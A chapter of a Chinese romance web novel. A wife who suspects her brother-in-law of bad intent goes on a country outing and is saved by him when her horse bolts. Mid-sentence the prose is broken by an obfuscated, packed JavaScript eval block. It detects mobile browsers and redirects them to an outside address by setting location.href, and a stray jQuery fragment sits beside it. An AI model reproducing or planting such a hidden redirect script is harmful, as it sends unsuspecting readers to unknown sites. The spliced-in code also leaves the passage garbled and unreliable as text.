我从床上坐起来,头昏昏沉沉。
刚刚我假装喝醉,本来想试探陶玉阶是不是真的对我图谋不轨,可他除了不大避嫌,也并没有对我做出其它逾矩的事来。
而且,我偷偷看到他扶我到床上照顾我的身影,与那日我病了照顾我的人十分相似。
呵!以为用这点小恩小惠就可以赎罪么?当年他带走秋梨的那一幕还深刻在我心里,除了以命抵命,我绝不会原谅!
据小梨所说,陶玉阶时常观看我的画像,不可能对我没有觊觎之心,他也许只是觉得在府中不便行事,所以才没有对我做什么。
小梨从外面走进来:
“少夫人你醒啦!三公子命我给您备的醒酒汤,您快喝了吧!”
我看了看床边那碗醒酒汤,挥手便把它掀翻,碗碎了,汤撒了一地。
“以后他送来的东西都给我扔出去!”
小梨大惊失色,一边去收拾残局,一边道:
“少夫人您这是何必呢!”
我愤愤道:“他能有什么好心!你忘了他要打你二十杖的事了?”
“奴婢没忘,奴婢听少夫人吩咐就是了!”
……
第二天,朔川奉陶玉阶的指派,邀我去城外郊游。
陶玉阶,陶链,褚右河,姚甸叶,加上赶车的朔川,我们一行五人行往西郊。
一路绿野丛林,风和日丽,鸟语花香,惬意浓浓。
马车略有些颠簸,陶链却始终笔挺着身体,还打趣道:
“甸儿妹妹,你的面子可真大,放个风筝还能劳三弟请我们一同陪你!”
姚甸叶仰着脖,努嘴道:“我哪能请得动大将军,您还不是看在三公子的面子上才来的!”然后嘻嘻地笑起来。
褚右河也跟着笑,他目光盯着姚甸叶,有种莫名的暧昧。
陶链仍是端坐着,两只黑色眼珠往陶玉阶的方向移过去,然后很快又移了回来,道:
“那倒也是,谁能不给三弟面子呢!”
他语调微微上扬,有点阴阳怪气。
姚甸叶听了这话,毫无察觉到陶链的语气不对劲,竟还继续笑着。
我瞧着陶链的脸绷得很紧,显然不大痛快。
“二弟弟是我们家的大功臣,也是大锦的大功臣,我们中间谁能比得上二弟弟的面子大呢!”我道。
陶链听了,脸上似乎晕出微微的笑意。
陶玉阶和我之间隔着姚甸叶,我扭头瞧了瞧他,他竟也正在看着我,还冲我笑了笑。
真是见了鬼了!
一向无喜无怒,面容平和的陶玉阶竟然笑了!
他不笑的时候尚且如和煦春风,笑起来就更加像一股温柔的暖流扑了过来。
这股暖流催动着我心中的一棵枝丫,冒出一颗稚嫩的绿芽。
我撇过头去不再看他,他那么恶毒,催生出来的绿芽也一定是带毒的。
真是可笑至极!
接着我的话头,姚甸叶又聊起了他们在北边的事。
“……二公子一个人就能抵挡一百人,吓得那些塔叱兵见了二公子就腿脚发软,谁都不敢上前……”
“……他们带头的将军那天拿着降书,满脸都是冷汗,说只要有陶将军在,就再不敢发兵!……”
……
我听着他们一路说说笑笑,余光中总觉得陶玉阶在看我。
后来我实在受不了了,扭头便也使劲盯着他看,最后他反而别过头不敢再看我了,做贼心虚的家伙!
行了很久的路,马车终于停在了大河边。
姚甸叶下了马车,疯了一样在河边绿地上跑起来,然后转过身冲我们摆手:
“快呀!把风筝拿过来!”
褚右河最有眼色,拿起风筝跟了过去,帮她扯风筝,甚是殷勤。
这种感觉熟悉又陌生,曾经在沁州的时候,褚右河何尝不是对我这般殷勤呢。
他们的风筝慢慢地飞上天,我看着风筝愣住了神。
我从前也是个淘气的,上树爬墙,总偷跑出去寻些新奇的玩意儿。
那时候我也喜欢风筝,总央求爹爹陪我去放,可是爹爹总说铺子里生意忙,不肯陪我。
后来我有了褚右河,他会陪我做这些事。
如今看到姚甸叶同他在一起,就仿佛看到当年的自己同他在一起时的场景。
我感到莫名地心酸,我已经不是从前的我,我现在是陶府的少夫人,难道说姚甸叶要代替我占有褚右河的心么?
“胧姐姐!快来和我们一起玩啊!”姚甸叶远远地对我喊道。
我将眼底的眼泪憋了回去,笑道:
“你们玩吧!我在这儿坐着就好!”
褚右河一眼都没有看我,仍是立在姚甸叶身边帮忙扯线。
远远看着他们的背影,分明是一对璧人,般配得形成了一幅美妙的画卷。
不知道褚右河回去后会不会也将此情此景用他绝妙的画工给画出来呢?——就像当年那幅《美人攀杏图》一样!
“要不要去骑马?”
我听到一个温柔的声音在我身旁发出。
我抬起头,一张干净利落的脸,一对漆黑澄澈的眸子,陶玉阶不知何时站在了我身旁。
果然要露出狐狸尾巴了吗?如今荒郊野岭的,他邀我去骑马?
不过反正我现在也不想留在这里看到褚右河和姚甸叶放风筝,而且我早已在口袋里藏了辣椒粉,若是陶玉阶真的欲行不轨,我就让他尝尝辣椒粉的滋味!
于是我微微一笑,“好啊!”从马车边缘跳下来。
陶玉阶让朔川把马车卸下,让我上马,也不顾旁边有人,自己也上了马,坐在我身后。
陶链在身后追着喊:“你们去哪?”
而马蹄飞快,早已把他的声音甩的远远的。
我也没想到陶玉阶会这样明目张胆,他拉着缰绳,紧紧把我拢在身前。
我感到非常不自在,非常厌恶,奈何现在已经来不及了。
马在跑的时候,臀下颠簸不已,我从前没学过骑马,当下浑身跟着震颤,难以适应,身体不断与身后的陶玉阶摩擦,但又不好意思开口让他停下来。
他衣袖飘飘,拂来淡淡清爽的香气,体温透过我轻薄的衣衫,传递到我的肌肤。
我产生浓浓的羞愤感,虽说我不是自愿嫁给陶絮风的,我和他也是有名无实,可是陶玉阶毕竟是陶絮风的亲兄弟,怎么敢这样越礼!
总算到了丛林深处,陶玉阶让马的速度慢下来。
这才看清小路两旁五颜六色的野花重重叠叠,引来无数蜂蝶围绕栖息,阳光透过杂乱的枝间缝隙,像繁星一样闪动,并投下斑驳的树影。
陶玉阶先下了马,然后把手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336603|167741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
递给我。
我真的后悔跟他过来了,没想到他会把我带到这么荒无人烟的地方,但是事已至此,只能见机行事。
我偷偷摸了摸口袋里的那包辣椒粉,然后把手搭在他手心,从马上下来。
他的手手指修长,骨节分明,看起来又十分灵活。
这哪里像一个习武之人的手,也难怪他是陶家三子中最没用的一个!
“等我一下!”他道。
说完就走向花丛中。
这么偏僻的地方,若是一会儿陶玉阶真的欲行不轨,我那包辣椒粉只能暂时拖住他,等他缓过来又会把我追回去。倒不如趁他现在往花丛中去,我赶紧逃跑。
于是我翻上了马,学着陶玉阶的样子,拉着缰绳,双脚在马身上使了个力,那匹马果然走了起来。
可是它只走了两步,便在原地打起了转儿。
这时,陶玉阶远远地看向我这边,我真担心他气急败坏做出什么可怕的事,所以又狠狠地踢了一下那匹马,希望它能快点带我离开。
那匹马抬起两条前腿,大声嘶叫两声,缰绳从我手掌狠狠地撸了一段,我差点从马背上仰着摔下去,幸亏最终我紧紧抓住了缰绳,只是感到手心火辣辣的疼。
然而那匹马两只前蹄落地后,突然又疯一样奔跑起来,我完全不能控制它,随着它的奔跑东摇西晃。
看来今天没有被陶玉阶欺辱,反倒要被这马给折腾死了。
我正感到无助的时候,突然有一个人不知从哪里冒出来的,像是从天而降似的,突然拉住了缰绳,在我背后护住了我。
我看见他的衣服,果然是陶玉阶!
不日前他接住姚甸叶时,我便已经见识过他的轻功,如今又一次大开眼界。
那匹马在他娴熟的操作下停了下来。
他紧紧贴在我的身后,将我的左手拉过去,见没事,又将我的右手拉过去看了看,道:
“疼么?”
我的右手被缰绳撸掉了一层皮,滚烫通红,幸好没有流血。
但是比起这种疼痛,我更介意的是此时陶玉阶正在抓着我的手。
“不疼!”我很快把手抽了回来。
“我们现在就回去。”
他的声音就在我的耳旁,我能够感觉到他如竹如兰的气息,我被拢在他的怀中,像是一只受伤的小鸟,依偎在柔软温暖的掌心之中。
这和我想的不一样,他把我这个他大哥的夫人带到这荒无人烟的树林中,竟不是为了不轨之事?
但是不管怎么说,他的行为也是不合礼数,有违纲常,他终归不是什么正人君子!
回来的路上我们一直缓慢而行,出了树林,阳光变得刺眼起来。
陶玉阶不知从哪里变出一束花,各种各样,五颜六色,并拿在我面前。
“拿着遮阳吧,用没受伤那只手!”他道。
他的声音柔和多情,像是有人拿着一片羽毛在我的心上来回搔动,让我浑身一阵酥软。
我很快让自己停止了这种可怕的感觉,想起他这样一个碧玉清风般的人,竟然是杀死秋梨的凶手,我又起了一身的鸡皮疙瘩。
我麻木地接过那束野花,却忘了用它遮阳,也忘记了自己都想了些什么。
不知不觉中,我们与其他人会和了。
陶链脸色铁青,似怒非怒地看着我们下了马。